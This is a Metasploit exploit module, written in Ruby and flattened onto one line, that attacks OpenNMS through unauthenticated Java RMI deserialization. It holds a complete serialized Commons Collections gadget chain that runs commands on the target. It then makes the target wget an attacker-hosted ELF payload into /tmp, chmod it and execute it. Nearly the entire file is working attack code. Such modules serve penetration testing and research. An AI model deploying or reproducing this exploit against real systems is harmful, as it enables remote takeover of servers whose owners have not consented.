## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Java::Rmi::Client include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'OpenNMS Java Object Unserialization Remote Code Execution', 'Description' => %q( This module exploits a vulnerability in the OpenNMS Java object which allows an unauthenticated attacker to run arbitary code against the system. ), 'Author' => [ 'Ben Turner <benpturner[at]yahoo.com>', # @benpturner ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/' ] ], 'Targets' => [ [ 'OpenNMS / Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 19 2014' ) ) register_options( [ Opt::RPORT(1099), OptString.new('WRITABLEDIR', [false, 'A writable directory on the host', '/tmp/']) ], self.class) end # This is the execute function that is re-used throughout def exec_command(cmd) vprint_status("#{peer} - Downloading the file #{cmd}") # Do the exploit command bit data1 = "\x4a\x52\x4d\x49\x00\x02\x4b" data2 = "\x00\x09\x31\x32\x37\x2E\x30\x2E\x31\x2E\x31\x00\x00\x00\x00\x50\xAC\xED\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4D\xC9\xD4\xE6\x3B\xDF\x74\x00\x05\x70\x77\x6E\x65\x64\x73\x7D\x00\x00\x00\x01\x00\x0F\x6A\x61\x76\x61\x2E\x72\x6D\x69\x2E\x52\x65\x6D\x6F\x74\x65\x70\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x70\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x71\x00\x7E\x00\x00\x73\x71\x00\x7E\x00\x05\x73\x7D\x00\x00\x00\x01\x00\x0D\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4D\x61\x70\x70\x78\x71\x00\x7E\x00\x02\x73\x71\x00\x7E\x00\x05\x73\x72\x00\x2A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x4C\x61\x7A\x79\x4D\x61\x70\x6E\xE5\x94\x82\x9E\x79\x10\x94\x03\x00\x01\x4C\x00\x07\x66\x61\x63\x74\x6F\x72\x79\x74\x00\x2C\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x68\x61\x69\x6E\x65\x64\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x58\x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69\x43\x6F\x6E\x73\x74\x61\x6E\x74\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x70\x78\x70\x76\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x52\x75\x6E\x74\x69\x6D\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38\x02\x00\x03\x5B\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x0B\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x0A\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4D\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\xA0\xF0\xA4\x38\x7A\x3B\xB3\x42\x02\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x24\x73\x71\x00\x7E\x00\x1C\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x02\x70\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x00\x74\x00\x06\x69\x6E\x76\x6F\x6B\x65\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x21\x73\x71\x00\x7E\x00\x1C\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00" data2 += cmd.length.chr data2 += cmd data2 += "\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x01\x71\x00\x7E\x00\x29\x73\x71\x00\x7E\x00\x17\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12\xE2\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65\x70\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7E\x00\x09\x3F\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7E\x00\x3F\x78\x71\x00\x7E\x00\x3F" begin connect sock.put(data1) # Wait for a successful response data = recv_protocol_ack # rescue nil unless data fail_with(Failure::Unknown, "This system has not responded with the correct RMI header") end # Send the RMI payload sock.put(data2) # Disconnect disconnect rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the host") end end # Wget the file onto the host in the temp directory def wget_payload resource_uri = '/' + @dropped_elf if datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri vprint_status("#{peer} - Starting up our web service on #{service_url} ...") start_service( 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri } ) exec_command("wget -P #{datastore['WRITABLEDIR']} #{service_url}") Rex.sleep(15) end # Change permissions to permit binary execution def chmod_payload cmd = "chmod +x #{File.join(datastore['WRITABLEDIR'], @dropped_elf)}" vprint_status("#{peer} - Chmod the payload...") res = exec_command(cmd) fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload") unless res Rex.sleep(1) end # Execute payload on host def exec_payload cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf) vprint_status("#{peer} - Executing the payload...") res = exec_command(cmd) fail_with(Failure::Unknown, "#{peer} - Unable to exec payload") unless res Rex.sleep(1) end # Handle incoming requests from the server def on_request_uri(cli, _request) vprint_status("#{peer} - Sending the payload to the server...") send_response(cli, generate_payload_exe) end # Create the payload and run the commands in succcession def exploit print_status("#{peer} - Exploting the vulnerable service...") @payload_url = '' @dropped_elf = rand_text_alpha(rand(5) + 3) wget_payload chmod_payload exec_payload end end